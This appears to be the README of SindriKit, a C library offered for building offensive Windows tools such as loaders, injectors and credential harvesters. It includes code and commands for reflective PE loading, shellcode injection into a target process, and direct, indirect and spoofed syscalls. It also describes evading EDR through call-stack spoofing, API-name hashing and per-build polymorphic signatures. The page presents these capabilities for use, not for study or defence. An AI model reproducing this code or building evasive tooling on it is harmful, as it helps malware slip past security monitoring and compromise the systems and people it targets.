
A foundational C library for building operationally credible offensive capabilities
Offensive Development Deserves Better Architecture.
A C library for building offensive capabilities.
Most offensive utilities hardcode their execution mechanics inside the technique's logic. A reflective loader doesn't just map an image; it maps it using a specific, hardcoded chain of VirtualAlloc or native NTAPI calls. When an EDR starts monitoring that specific chain, you are forced to rewrite the entire tool.
SindriKit solves this by enforcing a separation of concerns via interface abstraction tables:
By shifting execution mechanics to runtime function pointers, you can swap your entire strategy from Win32 calls to raw direct syscalls with a single line of code—without changing your payload execution logic.
snd_memory_api_t, snd_module_api_t, snd_process_api_t, snd_thread_api_t, snd_mapping_api_t, snd_file_api_t) without touching technique logic.snd_syscall_resolve_ssn_scan, snd_syscall_resolve_ssn_sort) with a priority chain, decoupled from invokers: direct, indirect (NTDLL gadget), or spoofed (dynamic Fat-Frame call-stack spoofing).snd_status_t — a packed facility/local code plus the captured OS error, with context strings that compile out in the silent tier.SND_MORPH. Generates unique binary signatures on every build by injecting volatile opaque predicates into C code, functionally equivalent math/NOPs into Assembly stubs, and scrambling the memory layout of core structs.SND_CRTLESS builds go further with /NODEFAULTLIB, no SDK header, a PEB frontend, and native backends only.The repository ships a single unified CLI that exercises every profile:
build.bat pocs
build64\pocs\Release\unified.exe load pe -f payload.dll -e Run --sys
unified supports load pe|coff, inject classic|apc|hijack (shell, PE, COFF), and hg, each over --win/--nt/--sys. See Examples & PoCs and Getting Started.
cmake_minimum_required(VERSION 3.16)
project(MyTool C ASM_MASM)
set(SND_BUILD_PAYLOADS OFF CACHE BOOL "")
set(SND_ENABLE_DEBUG OFF CACHE BOOL "")
set(SND_HASH_ALGO "DJB2" CACHE STRING "")
set(SND_RANDOMIZE_SEED ON CACHE BOOL "")
set(SND_MORPH ON CACHE BOOL "")
add_subdirectory(libs/SindriKit)
add_executable(my_tool src/main.c)
target_link_libraries(my_tool PRIVATE sindri::engine)
cmake -B build && cmake --build build --config Release
Just two lines for your tool to inherit all of SindriKit's capabilities: PE and COFF parsing, reflective loading, cascading syscalls, and injection profiles.
┌────────────────────────────────────────────────────────────────────────────┐
│ ANY OFFENSIVE INTENT │
│ Loader · Injector · Spoofer · Patcher · Bypasser · Harvester · ... │
├────────────────────────────────────────────────────────────────────────────┤
│ SINDRIKIT API ABSTRACTION LAYER │
│ snd_memory_api_t -> alloc · free · protect │
│ snd_module_api_t -> load_library · get_proc_address · ... │
│ snd_process_api_t -> open · alloc_remote · write · protect · thread │
│ snd_mapping_api_t -> open · view · close (KnownDlls bootstrap) │
│ snd_thread_api_t -> queue_apc · resume · suspend │
│ snd_file_api_t -> load │
├──────────────────┬──────────────────────┬──────────────────────────────────┤
│ Win32 Profile │ Native Profile │ Bring Your Own Mechanic │
│ VirtualAlloc │ NtAllocateVirtual │ Driver · ROP · Exotic │
│ LoadLibraryA │ PEB Walk + EAT │ Operator-defined functions │
└──────────────────┴──────────────────────┴──────────────────────────────────┘
In practice, this means every domain follows the same contract:
// Reflective loader
snd_ldr_pe_ctx_t ctx = {0};
ctx.raw_source = &payload;
ctx.mem_api = &snd_mem_win; // or snd_mem_nt / snd_mem_sys
ctx.mod_api = &snd_mod_win; // or snd_mod_nt
snd_ldr_pe_prepare_image(&ctx);
snd_ldr_pe_execute_image(&ctx);
// Classic injection
snd_inj_ctx_t inj = {0};
inj.target_pid = 1337;
inj.payload = &shellcode;
inj.proc_api = &snd_proc_sys; // or snd_proc_win / snd_proc_nt
snd_inj_classic_shell(&inj);
snd_inj_cleanup(&inj);
SindriKit treats syscall resolution as an injectable mechanic, stacking strategies in priority order. The engine falls through until one succeeds:
snd_ntdll_set_clean(clean_ntdll);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
// or for spoofed syscalls:
// snd_syscall_set_invoker(snd_syscall_spoofed_invoke_asm);
// snd_syscall_set_spoof_finder(snd_syscall_find_spoof_scan);
The invoker is decoupled from SSN resolution — switch between direct, indirect, and spoofed syscalls without modifying domain code. Indirect invocation jumps to a legitimate NTDLL gadget so the return address stays inside ntdll.dll; spoofed invocation additionally plants a genuine caller return address inside a dynamically discovered "Fat Frame", so call-stack unwinds stay coherent.
Every API name and module string is removed from the final binary at compile time via a single CMake variable:
set(SND_HASH_ALGO "FNV1A") # or DJB2 recomputes everything automatically
set(SND_RANDOMIZE_SEED ON) # generates a fresh 32-bit seed on next configure
Each hash is computed with a randomly generated seed (if SND_RANDOMIZE_SEED=ON). Static footprint shifts completely between compilations without touching a line of C.